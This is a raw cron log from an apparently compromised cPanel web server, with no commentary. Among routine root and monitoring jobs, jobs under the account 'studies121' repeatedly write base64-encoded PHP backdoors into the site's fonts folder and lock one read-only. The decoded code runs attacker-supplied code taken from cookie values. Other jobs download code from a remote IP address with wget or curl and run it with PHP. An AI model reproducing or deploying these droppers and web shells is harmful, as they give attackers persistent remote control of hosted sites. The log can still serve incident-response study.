Sep  9 23:20:02 ip-184-168-122-23 CROND[28935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:20:02 ip-184-168-122-23 CROND[28936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:20:02 ip-184-168-122-23 CROND[28937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:20:02 ip-184-168-122-23 CROND[28944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:20:02 ip-184-168-122-23 CROND[28943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:21:01 ip-184-168-122-23 CROND[29028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:21:01 ip-184-168-122-23 CROND[29029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:21:01 ip-184-168-122-23 CROND[29031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:21:01 ip-184-168-122-23 CROND[29035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:22:02 ip-184-168-122-23 CROND[29119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:22:02 ip-184-168-122-23 CROND[29120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:22:02 ip-184-168-122-23 CROND[29118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:22:02 ip-184-168-122-23 CROND[29117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:22:02 ip-184-168-122-23 CROND[29121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:23:01 ip-184-168-122-23 CROND[29202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:23:01 ip-184-168-122-23 CROND[29205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:23:01 ip-184-168-122-23 CROND[29204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:23:01 ip-184-168-122-23 CROND[29206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:24:01 ip-184-168-122-23 CROND[29286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:24:01 ip-184-168-122-23 CROND[29288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:24:01 ip-184-168-122-23 CROND[29290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:24:01 ip-184-168-122-23 CROND[29291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:24:01 ip-184-168-122-23 CROND[29289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:25:01 ip-184-168-122-23 CROND[29606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:25:01 ip-184-168-122-23 CROND[29607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:25:01 ip-184-168-122-23 CROND[29608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:25:01 ip-184-168-122-23 CROND[29610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:25:01 ip-184-168-122-23 CROND[29611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:25:01 ip-184-168-122-23 CROND[29609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:26:01 ip-184-168-122-23 CROND[29699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:26:01 ip-184-168-122-23 CROND[29697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:26:01 ip-184-168-122-23 CROND[29698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:26:01 ip-184-168-122-23 CROND[29700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:26:01 ip-184-168-122-23 CROND[29701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:27:01 ip-184-168-122-23 CROND[29781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:27:01 ip-184-168-122-23 CROND[29782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:27:01 ip-184-168-122-23 CROND[29783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:27:01 ip-184-168-122-23 CROND[29784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:28:01 ip-184-168-122-23 CROND[29862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:28:01 ip-184-168-122-23 CROND[29865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:28:01 ip-184-168-122-23 CROND[29867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:28:01 ip-184-168-122-23 CROND[29866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:28:01 ip-184-168-122-23 CROND[29864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:29:01 ip-184-168-122-23 CROND[29955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:29:01 ip-184-168-122-23 CROND[29957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:29:01 ip-184-168-122-23 CROND[29956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:29:01 ip-184-168-122-23 CROND[29959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:30:01 ip-184-168-122-23 CROND[30051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:30:01 ip-184-168-122-23 CROND[30053]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:30:01 ip-184-168-122-23 CROND[30056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:30:01 ip-184-168-122-23 CROND[30058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:30:01 ip-184-168-122-23 CROND[30063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:30:01 ip-184-168-122-23 CROND[30061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:30:01 ip-184-168-122-23 CROND[30062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:30:01 ip-184-168-122-23 CROND[30064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:31:01 ip-184-168-122-23 CROND[30298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:31:01 ip-184-168-122-23 CROND[30299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:31:01 ip-184-168-122-23 CROND[30303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:31:01 ip-184-168-122-23 CROND[30302]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:31:01 ip-184-168-122-23 CROND[30301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:32:01 ip-184-168-122-23 CROND[30462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:32:01 ip-184-168-122-23 CROND[30460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:32:01 ip-184-168-122-23 CROND[30461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
